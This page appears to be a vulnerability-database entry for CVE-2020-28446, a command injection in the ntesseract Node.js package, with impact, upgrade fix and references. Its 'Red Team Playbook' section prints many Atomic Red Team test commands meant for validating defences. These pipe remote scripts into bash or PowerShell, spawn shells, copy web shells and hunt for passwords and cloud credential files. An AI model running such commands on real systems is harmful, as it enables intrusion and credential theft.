CVE-2020-28446
Overview
This vulnerability is a command injection flaw rooted in improper input sanitization within the ntesseract package, specifically affecting the lib/tesseract.js component. The issue arises because user-supplied input is directly passed to system commands without adequate validation or escaping, enabling injection of arbitrary commands. This lack of input control in the command execution pipeline allows malicious input to manipulate the underlying operating system calls.
Vulnerability Description
The package ntesseract before 0.2.9 are vulnerable to Command Injection via lib/tesseract.js.
Impact
An unauthenticated attacker can remotely execute arbitrary system commands on the host running the vulnerable ntesseract package by sending specially crafted input to the affected component. This can lead to full system compromise, including data theft, service disruption, or lateral movement within a network. The attack requires only network access and no user interaction, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N, highlighting the ease of exploitation and high severity of impact.
Solution
Users should upgrade ntesseract to version 0.2.9 or later, where the command injection vulnerability has been addressed. The fix is documented in the official GitHub repository commit fcbc36f381798b4362179c0cdf9961b437c7b619 and detailed in the Snyk advisory SNYK-JS-NTESSERACT-1050982. No alternative workarounds are recommended; applying the update is the definitive remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the ntesseract package arises from a command injection flaw present in the lib/tesseract.js file. This issue allows an attacker to execute arbitrary commands on the host system by manipulating input parameters that are not properly sanitized. The underlying problem lies in the way user input is processed and passed to system commands without adequate validation. As a result, an attacker can craft malicious input that, when executed, can lead to unauthorized access or control over the system, potentially compromising sensitive data or the integrity of the application.
Attack vectors for this vulnerability are varied and can be exploited in several ways. An attacker could leverage web applications that utilize the ntesseract package for image processing or text recognition. By submitting specially crafted images or text inputs that contain malicious payloads, the attacker can trigger the command injection flaw. This could be executed through a web interface, API endpoint, or any other entry point that processes user input. Once the malicious command is executed, the attacker can perform actions such as reading sensitive files, modifying system configurations, or even deploying additional malware, thereby escalating the attack.
The real-world impact of this vulnerability can be significant, especially for organizations that rely on the ntesseract package for processing documents or images. The high CVSS score of 9.8 indicates a critical risk, suggesting that successful exploitation could lead to severe consequences, including data breaches, service disruptions, and reputational damage. Businesses that handle sensitive information, such as financial data or personal identification, are particularly at risk. Furthermore, the potential for lateral movement within a network could allow attackers to pivot to other systems, increasing the overall threat landscape and complicating incident response efforts.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the ntesseract package to the latest version is essential, as subsequent releases have likely addressed this flaw. Additionally, employing input validation and sanitization techniques can significantly reduce the risk of command injection attacks. Implementing security measures such as web application firewalls (WAFs) can help monitor and filter malicious traffic. Furthermore, conducting regular security assessments and penetration testing can aid in identifying and remediating vulnerabilities before they can be exploited by attackers.
In conclusion, the command injection vulnerability in the ntesseract package presents a critical threat to applications that utilize this library for text recognition and processing. The potential for exploitation through various attack vectors underscores the importance of maintaining secure coding practices and implementing robust security measures. Organizations must prioritize the timely updating of affected software, enforce strict input validation, and continuously monitor their systems to safeguard against such vulnerabilities. By adopting a proactive security posture, businesses can mitigate risks and protect their assets from the evolving landscape of cyber threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ntesseract Project | Ntesseract | All |
cpe:2.3:a:ntesseract_project:ntesseract:*:*:*:*:*:node.js:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-28446 |
| security.snyk.io |
GitHub CVE
x_refsource_MISC
|
https://security.snyk.io/vuln/SNYK-JS-NTESSERACT-1050982 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/taoyuan/ntesseract/commit/fcbc36f381798b4362179c0cdf9961b437c7b619 |